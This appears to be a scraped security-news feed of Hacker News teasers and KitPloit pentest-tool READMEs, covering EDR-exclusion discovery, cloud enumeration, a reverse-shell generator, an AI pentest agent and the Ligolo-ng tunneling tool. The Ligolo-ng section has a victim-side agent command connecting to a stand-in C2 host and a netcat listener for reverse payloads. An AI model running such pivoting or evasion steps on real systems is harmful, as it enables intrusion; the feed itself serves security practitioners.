Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.


Original idea?

Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.

If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.

Requirements

Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.

The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.

EDR Demo

https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4



☐ β˜† βœ‡ The Hacker News

The Fundamentals of Cloud Security Stress Testing

By: The Hacker News β€” May 8th 2024 at 10:58
Χ΄Defenders think in lists, attackers think in graphs,” said John Lambert from Microsoft, distilling the fundamental difference in mindset between those who defend IT systems and those who try to compromise them. The traditional approach for defenders is to list security gaps directly related to their assets in the network and eliminate as many as possible, starting with the most critical.
☐ β˜† βœ‡ The Hacker News

Navigating the Threat Landscape: Understanding Exposure Management, Pentesting, Red Teaming and RBVM

By: The Hacker News β€” April 29th 2024 at 10:54
It&nbsp;comes as&nbsp;no surprise that today's cyber threats are orders of magnitude more complex than those of the past.&nbsp;And the&nbsp;ever-evolving tactics that attackers use demand the adoption of better, more holistic and consolidated ways to meet this&nbsp;non-stop&nbsp;challenge. Security teams constantly look for ways to reduce risk while improving security posture, but many
☐ β˜† βœ‡ The Hacker News

Unmasking the True Cost of Cyberattacks: Beyond Ransom and Recovery

By: The Hacker News β€” April 23rd 2024 at 10:22
Cybersecurity breaches can be devastating for both individuals and businesses alike. While many people&nbsp;tend to&nbsp;focus on understanding how and why they were targeted by such breaches, there's a larger, more pressing question: What is the true financial impact of a cyberattack? According to research by Cybersecurity Ventures, the global cost of cybercrime&nbsp;is projected&nbsp;to reach
☐ β˜† βœ‡ The Hacker News

Pentera's 2024 Report Reveals Hundreds of Security Events per Week, Highlighting the Criticality of Continuous Validation

By: The Hacker News β€” April 22nd 2024 at 11:30
Over the past two years, a shocking&nbsp;51% of organizations surveyed in a leading industry report have been compromised by a cyberattack.&nbsp;Yes, over half.&nbsp; And this, in a world where enterprises deploy&nbsp;an average of 53 different security solutions&nbsp;to safeguard their digital domain.&nbsp; Alarming? Absolutely. A recent survey of CISOs and CIOs, commissioned by Pentera and
☐ β˜† βœ‡ The Hacker News

Attack Surface Management vs. Vulnerability Management

By: The Hacker News β€” April 3rd 2024 at 11:12
Attack surface management (ASM) and vulnerability management (VM) are often confused, and while they overlap, they’re not the same. The main difference between attack surface management and vulnerability management is in their scope: vulnerability management checks a list of known assets, while attack surface management assumes you have unknown assets and so begins with discovery. Let’s look at
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Cloud_Enum - Multi-cloud OSINT Tool. Enumerate Public Resources In AWS, Azure, And Google Cloud

By: Zion3R β€” March 29th 2024 at 11:30


Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

Currently enumerates the following:

Amazon Web Services: - Open / Protected S3 Buckets - awsapps (WorkMail, WorkDocs, Connect, etc.)

Microsoft Azure: - Storage Accounts - Open Blob Storage Containers - Hosted Databases - Virtual Machines - Web Apps

Google Cloud Platform - Open / Protected GCP Buckets - Open / Protected Firebase Realtime Databases - Google App Engine sites - Cloud Functions (enumerates project/regions with existing functions, then brute forces actual function names) - Open Firebase Apps


See it in action in Codingo's video demo here.


Usage

Setup

Several non-standard libaries are required to support threaded HTTP requests and dns lookups. You'll need to install the requirements as follows:

pip3 install -r ./requirements.txt

Running

The only required argument is at least one keyword. You can use the built-in fuzzing strings, but you will get better results if you supply your own with -m and/or -b.

You can provide multiple keywords by specifying the -k argument multiple times.

Keywords are mutated automatically using strings from enum_tools/fuzz.txt or a file you provide with the -m flag. Services that require a second-level of brute forcing (Azure Containers and GCP Functions) will also use fuzz.txt by default or a file you provide with the -b flag.

Let's say you were researching "somecompany" whose website is "somecompany.io" that makes a product called "blockchaindoohickey". You could run the tool like this:

./cloud_enum.py -k somecompany -k somecompany.io -k blockchaindoohickey

HTTP scraping and DNS lookups use 5 threads each by default. You can try increasing this, but eventually the cloud providers will rate limit you. Here is an example to increase to 10.

./cloud_enum.py -k keyword -t 10

IMPORTANT: Some resources (Azure Containers, GCP Functions) are discovered per-region. To save time scanning, there is a "REGIONS" variable defined in cloudenum/azure_regions.py and cloudenum/gcp_regions.py that is set by default to use only 1 region. You may want to look at these files and edit them to be relevant to your own work.

Complete Usage Details

usage: cloud_enum.py [-h] -k KEYWORD [-m MUTATIONS] [-b BRUTE]

Multi-cloud enumeration utility. All hail OSINT!

optional arguments:
-h, --help show this help message and exit
-k KEYWORD, --keyword KEYWORD
Keyword. Can use argument multiple times.
-kf KEYFILE, --keyfile KEYFILE
Input file with a single keyword per line.
-m MUTATIONS, --mutations MUTATIONS
Mutations. Default: enum_tools/fuzz.txt
-b BRUTE, --brute BRUTE
List to brute-force Azure container names. Default: enum_tools/fuzz.txt
-t THREADS, --threads THREADS
Threads for HTTP brute-force. Default = 5
-ns NAMESERVER, --nameserver NAMESERVER
DNS server to use in brute-force.
-l LOGFILE, --logfile LOGFILE
Will APPEND found items to specified file.
-f FORMAT, --format FORMAT
Format for log file (text,json,csv - defaults to text)
--disable-aws Disable Amazon checks.
--disable-azure Disable Azure checks.
--disable-gcp Disable Google checks.
-qs, --quickscan Disable all mutations and second-level scans

Thanks

So far, I have borrowed from: - Some of the permutations from GCPBucketBrute



☐ β˜† βœ‡ The Hacker News

The Golden Age of Automated Penetration Testing is Here

By: The Hacker News β€” March 29th 2024 at 11:19
Network penetration testing plays a vital role in detecting vulnerabilities that can be exploited. The current method of performing pen testing is pricey, leading many companies to undertake it only when necessary, usually once a year for their compliance requirements. This manual approach often misses opportunities to find and fix security issues early on, leaving businesses vulnerable to
☐ β˜† βœ‡ The Hacker News

New Webinar: Avoiding Application Security Blind Spots with OPSWAT and F5

By: The Hacker News β€” March 28th 2024 at 12:43
Considering the ever-changing state of cybersecurity, it's never too late to ask yourself, "am I doing what's necessary to keep my organization's web applications secure?" The continuous evolution of technology introduces new and increasingly sophisticated threats daily, posing challenges to organizations all over the world and across the broader spectrum of industries striving to maintain
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Pentest-Muse-Cli - AI Assistant Tailored For Cybersecurity Professionals

By: Zion3R β€” March 24th 2024 at 11:30


Pentest Muse is an AI assistant tailored for cybersecurity professionals. It can help penetration testers brainstorm ideas, write payloads, analyze code, and perform reconnaissance. It can also take actions, execute command line codes, and iteratively solve complex tasks.


Pentest Muse Web App

In addition to this command-line tool, we are excited to introduce the Pentest Muse Web Application! The web app has access to the latest online information, and would be a good AI assistant for your pentesting job.

Disclaimer

This tool is intended for legal and ethical use only. It should only be used for authorized security testing and educational purposes. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

Requirements

  • Python 3.12 or later
  • Necessary Python packages as listed in requirements.txt

Setup

Standard Setup

  1. Clone the repository:

git clone https://github.com/pentestmuse-ai/PentestMuse cd PentestMuse

  1. Install the required packages:

pip install -r requirements.txt

Alternative Setup (Package Installation)

Install Pentest Muse as a Python Package:

pip install .

Running the Application

Chat Mode (Default)

In the chat mode, you can chat with pentest muse and ask it to help you brainstorm ideas, write payloads, and analyze code. Run the application with:

python run_app.py

or

pmuse

Agent Mode (Experimental)

You can also give Pentest Muse more control by asking it to take actions for you with the agent mode. In this mode, Pentest Muse can help you finish a simple task (e.g., 'help me do sql injection test on url xxx'). To start the program with agent model, you can use:

python run_app.py agent

or

pmuse agent

Selection of Language Models

Managed APIs

You can use Pentest Muse with our managed APIs after signing up at www.pentestmuse.ai/signup. After creating an account, you can simply start the pentest muse cli, and the program will prompt you to login.

OpenAI API keys

Alternatively, you can also choose to use your own OpenAI API keys. To do this, you can simply add argument --openai-api-key=[your openai api key] when starting the program.

Contact

For any feedback or suggestions regarding Pentest Muse, feel free to reach out to us at contact@pentestmuse.ai or join our discord. Your input is invaluable in helping us improve and evolve.



☐ β˜† βœ‡ The Hacker News

AndroxGh0st Malware Targets Laravel Apps to Steal Cloud Credentials

By: Newsroom β€” March 21st 2024 at 12:48
Cybersecurity researchers have shed light on a tool referred to as&nbsp;AndroxGh0st&nbsp;that's used to target Laravel applications and steal sensitive data. "It works by scanning and taking out important information from .env files, revealing login details linked to AWS and Twilio," Juniper Threat Labs researcher Kashinath T Pattan&nbsp;said. "Classified as an SMTP cracker, it exploits SMTP
☐ β˜† βœ‡ The Hacker News

Proof-of-Concept Exploit Released for Progress Software OpenEdge Vulnerability

By: Newsroom β€” March 11th 2024 at 06:28
Technical specifics and a proof-of-concept (PoC) exploit have been made available for a recently disclosed critical security flaw in Progress Software OpenEdge Authentication Gateway and AdminServer, which could be potentially exploited to bypass authentication protections. Tracked as&nbsp;CVE-2024-1403, the vulnerability has a maximum severity rating of 10.0 on the CVSS scoring system. It
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Kali Linux 2024.1 - Penetration Testing and Ethical Hacking Linux Distribution

By: Zion3R β€” March 3rd 2024 at 01:01

Time for another Kali Linux release! – Kali Linux 2024.1. This release has various impressive updates.


The summary of the changelog since the 2023.4 release from December is:

☐ β˜† βœ‡ The Hacker News

Cybercriminals Weaponizing Open-Source SSH-Snake Tool for Network Attacks

By: Newsroom β€” February 22nd 2024 at 10:44
A recently open-sourced network mapping tool called&nbsp;SSH-Snake&nbsp;has been repurposed by threat actors to conduct malicious activities. "SSH-Snake is a self-modifying worm that leverages SSH credentials discovered on a compromised system to start spreading itself throughout the network," Sysdig researcher Miguel HernΓ‘ndez&nbsp;said. "The worm automatically searches through known credential
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

By: Zion3R β€” February 14th 2024 at 11:30

Essential utilities for pentester, bug-bounty hunters and security researchers

secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!


Features
  • Generate a reverse shell command
  • Obtain proxy
  • Download & deploy common payloads
  • Obtain reverse shell listener command
  • Generate bash install script for common tools
  • Generate bash download script for Wordlists
  • Read common cheatsheets and payloads

Usage
secbutler -h

This will display the help for the tool

                   __          __  __
________ _____/ /_ __ __/ /_/ /__ _____
/ ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
(__ ) __/ /__/ /_/ / /_/ / /_/ / __/ /
/____/\___/\___/_.___/\__,_/\__/_/\___/_/

v0.1.9 - https://github.com/groundsec/secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers

Usage:
secbutler [flags]
secbutler [command]

Available Commands:
cheatsheet Read common cheatsheets & payloads
help Help about any command
listener Obtain the command to start a reverse shell listener
payloads Obtain and serve common payloads
proxy Obtain a random proxy from FreeProxy
revshell Obtain the command for a reverse shell
tools Generate a install script for the most common cybersecurity tools
version Print the current version
wordlists Generate a download script for the most common wordlists

Flags:
-h, --help help for secbutler

Use "secbutler [command] --help" for more information about a command.



Installation

Run the following command to install the latest version:

go install github.com/groundsec/secbutler@latest

Or you can simply grab an executable from the Releases page.


License

secbutler is made with πŸ–€ by the GroundSec team and released under the MIT LICENSE.



☐ β˜† βœ‡ The Hacker News

Hackers Exploit Job Boards, Stealing Millions of Resumes and Personal Data

By: Newsroom β€” February 6th 2024 at 10:14
Employment agencies and retail companies chiefly located in the Asia-Pacific (APAC) region have been targeted by a previously undocumented threat actor known as&nbsp;ResumeLooters&nbsp;since early 2023 with the goal of stealing sensitive data. Singapore-headquartered Group-IB said the hacking crew's activities are geared towards job search platforms and the theft of resumes, with as many as 65
☐ β˜† βœ‡ KitPloit - PenTest Tools!

PurpleKeep - Providing Azure Pipelines To Create An Infrastructure And Run Atomic Tests

By: Zion3R β€” January 30th 2024 at 11:30


With the rapidly increasing variety of attack techniques and a simultaneous rise in the number of detection rules offered by EDRs (Endpoint Detection and Response) and custom-created ones, the need for constant functional testing of detection rules has become evident. However, manually re-running these attacks and cross-referencing them with detection rules is a labor-intensive task which is worth automating.

To address this challenge, I developed "PurpleKeep," an open-source initiative designed to facilitate the automated testing of detection rules. Leveraging the capabilities of the Atomic Red Team project which allows to simulate attacks following MITRE TTPs (Tactics, Techniques, and Procedures). PurpleKeep enhances the simulation of these TTPs to serve as a starting point for the evaluation of the effectiveness of detection rules.

Automating the process of simulating one or multiple TTPs in a test environment comes with certain challenges, one of which is the contamination of the platform after multiple simulations. However, PurpleKeep aims to overcome this hurdle by streamlining the simulation process and facilitating the creation and instrumentation of the targeted platform.

Primarily developed as a proof of concept, PurpleKeep serves as an End-to-End Detection Rule Validation platform tailored for an Azure-based environment. It has been tested in combination with the automatic deployment of Microsoft Defender for Endpoint as the preferred EDR solution. PurpleKeep also provides support for security and audit policy configurations, allowing users to mimic the desired endpoint environment.

To facilitate analysis and monitoring, PurpleKeep integrates with Azure Monitor and Log Analytics services to store the simulation logs and allow further correlation with any events and/or alerts stored in the same platform.

TLDR: PurpleKeep provides an Attack Simulation platform to serve as a starting point for your End-to-End Detection Rule Validation in an Azure-based environment.


Requirements

The project is based on Azure Pipelines and requires the following to be able to run:

  • Azure Service Connection to a resource group as described in the Microsoft Docs
  • Assignment of the "Key Vault Administrator" Role for the previously created Enterprise Application
  • MDE onboarding script, placed as a Secure File in the Library of Azure DevOps and make it accessible to the pipelines

Optional

You can provide a security and/or audit policy file that will be loaded to mimic your Group Policy configurations. Use the Secure File option of the Library in Azure DevOps to make it accessible to your pipelines.

Refer to the variables file for your configurable items.

Design

Infrastructure

Deploying the infrastructure uses the Azure Pipeline to perform the following steps:

  • Deploy Azure services:
    • Key Vault
    • Log Analytics Workspace
    • Data Connection Endpoint
    • Data Connection Rule
  • Generate SSH keypair and password for the Windows account and store in the Key Vault
  • Create a Windows 11 VM
  • Install OpenSSH
  • Configure and deploy the SSH public key
  • Install Invoke-AtomicRedTeam
  • Install Microsoft Defender for Endpoint and configure exceptions
  • (Optional) Apply security and/or audit policy files
  • Reboot

Simulation

Currently only the Atomics from the public repository are supported. The pipelines takes a Technique ID as input or a comma seperate list of techniques, for example:

  • T1059.003
  • T1027,T1049,T1003

The logs of the simulation are ingested into the AtomicLogs_CL table of the Log Analytics Workspace.

There are currently two ways to run the simulation:

Rotating simulation

This pipeline will deploy a fresh platform after the simulation of each TTP. The Log Analytic workspace will maintain the logs of each run.

Warning: this will onboard a large number of hosts into your EDR

Single deploy simulation

A fresh infrastructure will be deployed only at the beginning of the pipeline. All TTP's will be simulated on this instance. This is the fastests way to simulate and prevents onboarding a large number of devices, however running a lot of simulations in a same environment has the risk of contaminating the environment and making the simulations less stable and predictable.

TODO

Must have

  • Check if pre-reqs have been fullfilled before executing the atomic
  • Provide the ability to import own group policy
  • Cleanup biceps and pipelines by using a master template (Complete build)
  • Build pipeline that runs technique sequently with reboots in between
  • Add Azure ServiceConnection to variables instead of parameters

Nice to have

  • MDE Off-boarding (?)
  • Automatically join and leave AD domain
  • Make Atomics repository configureable
  • Deploy VECTR as part of the infrastructure and ingest results during simulation. Also see the VECTR API issue
  • Tune alert API call to Microsoft Defender for Endpoint (Microsoft.Security alertsSuppressionRules)
  • Add C2 infrastructure for manual or C2 based simulations

Issues

  • Atomics do not return if a simulation succeeded or not
  • Unreliable OpenSSH extension installer failing infrastructure deployment
  • Spamming onboarded devices in the EDR

References



☐ β˜† βœ‡ KitPloit - PenTest Tools!

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

By: Zion3R β€” January 26th 2024 at 11:30


Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).


Features

  • Tun interface (No more SOCKS!)
  • Simple UI with agent selection and network information
  • Easy to use and setup
  • Automatic certificate configuration with Let's Encrypt
  • Performant (Multiplexing)
  • Does not require high privileges
  • Socket listening/binding on the agent
  • Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

  • SYN are translated to connect() on remote
  • SYN-ACK is sent back if connect() succeed
  • RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
  • Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng Β» session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] Β» ifconfig 
[...]
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Interface 3 β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Name β”‚ wlp3s0 β”‚
β”‚ Hardware MAC β”‚ de:ad:be:ef:ca:fe β”‚
β”‚ MTU β”‚ 1500 β”‚
β”‚ Flags β”‚ up|broadcast|multicast β”‚
β”‚ IPv4 Address β”‚ 192.168.0.30/24 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx MΓ©t MTU Γ‰tat Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] Β» start
[Agent : nchatelain@nworkstation] Β» INFO[0690] Starting tunnel to nchatelain@nworkstation

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] Β» listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] Β» listener_list 
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Active listeners β”‚
β”œβ”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€ ───────────────────┬─────────────────────────
β”‚ # β”‚ AGENT β”‚ AGENT LISTENER ADDRESS β”‚ PROXY REDIRECT ADDRESS β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€& #9508;
β”‚ 0 β”‚ nchatelain@nworkstation β”‚ 0.0.0.0:1234 β”‚ 127.0.0.1:4321 β”‚
β””β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[Agent : nchatelain@nworkstation] Β» listener_stop 0
INFO[1505] Listener closed.

Demo

ligolo-ng_demo.mp4

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

  • TCP
  • UDP
  • ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8. 00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

  • Implement other ICMP error messages (this will speed up UDP scans) ;
  • Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
  • Add mTLS support.

Credits

  • Nicolas Chatelain <nicolas -at- chatelain.me>


☐ β˜† βœ‡ The Hacker News

Perfecting the Defense-in-Depth Strategy with Automation

By: The Hacker News β€” January 26th 2024 at 11:04
Medieval castles stood as impregnable fortresses for centuries, thanks to their meticulous design. Fast forward to the digital age, and this medieval wisdom still echoes in cybersecurity. Like castles with strategic layouts to withstand attacks, the Defense-in-Depth strategy is the modern counterpart β€” a multi-layered approach with strategic redundancy and a blend of passive and active security
☐ β˜† βœ‡ The Hacker News

Russian TrickBot Mastermind Gets 5-Year Prison Sentence for Cybercrime Spree

By: Newsroom β€” January 26th 2024 at 05:33
40-year-old Russian national Vladimir Dunaev has been sentenced to five years and four months in prison for his role in creating and distributing the TrickBot malware, the U.S. Department of Justice (DoJ) said. The development comes nearly two months after&nbsp;Dunaev pleaded guilty&nbsp;to committing computer fraud and identity theft and conspiracy to commit wire fraud and bank fraud. "
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Rayder - A Lightweight Tool For Orchestrating And Organizing Your Bug Hunting Recon / Pentesting Command-Line Workflows

By: Zion3R β€” January 23rd 2024 at 11:30


Rayder is a command-line tool designed to simplify the orchestration and execution of workflows. It allows you to define a series of modules in a YAML file, each consisting of commands to be executed. Rayder helps you automate complex processes, making it easy to streamline repetitive modules and execute them parallelly if the commands do not depend on each other.


Installation

To install Rayder, ensure you have Go (1.16 or higher) installed on your system. Then, run the following command:

go install github.com/devanshbatham/rayder@v0.0.4

Usage

Rayder offers a straightforward way to execute workflows defined in YAML files. Use the following command:

rayder -w path/to/workflow.yaml

Workflow Configuration

A workflow is defined in a YAML file with the following structure:

vars:
VAR_NAME: value
# Add more variables...

parallel: true|false
modules:
- name: task-name
cmds:
- command-1
- command-2
# Add more commands...
silent: true|false
# Add more modules...

Using Variables in Workflows

Rayder allows you to use variables in your workflow configuration, making it easy to parameterize your commands and achieve more flexibility. You can define variables in the vars section of your workflow YAML file. These variables can then be referenced within your command strings using double curly braces ({{}}).

Defining Variables

To define variables, add them to the vars section of your workflow YAML file:

vars:
VAR_NAME: value
ANOTHER_VAR: another_value
# Add more variables...

Referencing Variables in Commands

You can reference variables within your command strings using double curly braces ({{}}). For example, if you defined a variable OUTPUT_DIR, you can use it like this:

modules:
- name: example-task
cmds:
- echo "Output directory {{OUTPUT_DIR}}"

Supplying Variables via the Command Line

You can also supply values for variables via the command line when executing your workflow. Use the format VARIABLE_NAME=value to provide values for specific variables. For example:

rayder -w path/to/workflow.yaml VAR_NAME=new_value ANOTHER_VAR=updated_value

If you don't provide values for variables via the command line, Rayder will automatically apply default values defined in the vars section of your workflow YAML file.

Remember that variables supplied via the command line will override the default values defined in the YAML configuration.

Example

Example 1:

Here's an example of how you can define, reference, and supply variables in your workflow configuration:

vars:
ORG: "example.org"
OUTPUT_DIR: "results"

modules:
- name: example-task
cmds:
- echo "Organization {{ORG}}"
- echo "Output directory {{OUTPUT_DIR}}"

When executing the workflow, you can provide values for ORG and OUTPUT_DIR via the command line like this:

rayder -w path/to/workflow.yaml ORG=custom_org OUTPUT_DIR=custom_results_dir

This will override the default values and use the provided values for these variables.

Example 2:

Here's an example workflow configuration tailored for reverse whois recon and processing the root domains into subdomains, resolving them and checking which ones are alive:

vars:
ORG: "Acme, Inc"
OUTPUT_DIR: "results-dir"

parallel: false
modules:
- name: reverse-whois
silent: false
cmds:
- mkdir -p {{OUTPUT_DIR}}
- revwhoix -k "{{ORG}}" > {{OUTPUT_DIR}}/root-domains.txt

- name: finding-subdomains
cmds:
- xargs -I {} -a {{OUTPUT_DIR}}/root-domains.txt echo "subfinder -d {} -o {}.out" | quaithe -workers 30
silent: false

- name: cleaning-subdomains
cmds:
- cat *.out > {{OUTPUT_DIR}}/root-subdomains.txt
- rm *.out
silent: true

- name: resolving-subdomains
cmds:
- cat {{OUTPUT_DIR}}/root-subdomains.txt | dnsx -silent -threads 100 -o {{OUTPUT_DIR}}/resolved-subdomains.txt
silent: false

- name: checking-alive-subdomains
cmds:
- cat {{OUTPUT_DIR}}/resolved-subdomains.txt | httpx -silent -threads 100 0 -o {{OUTPUT_DIR}}/alive-subdomains.txt
silent: false

To execute the above workflow, run the following command:

rayder -w path/to/reverse-whois.yaml ORG="Yelp, Inc" OUTPUT_DIR=results

Parallel Execution

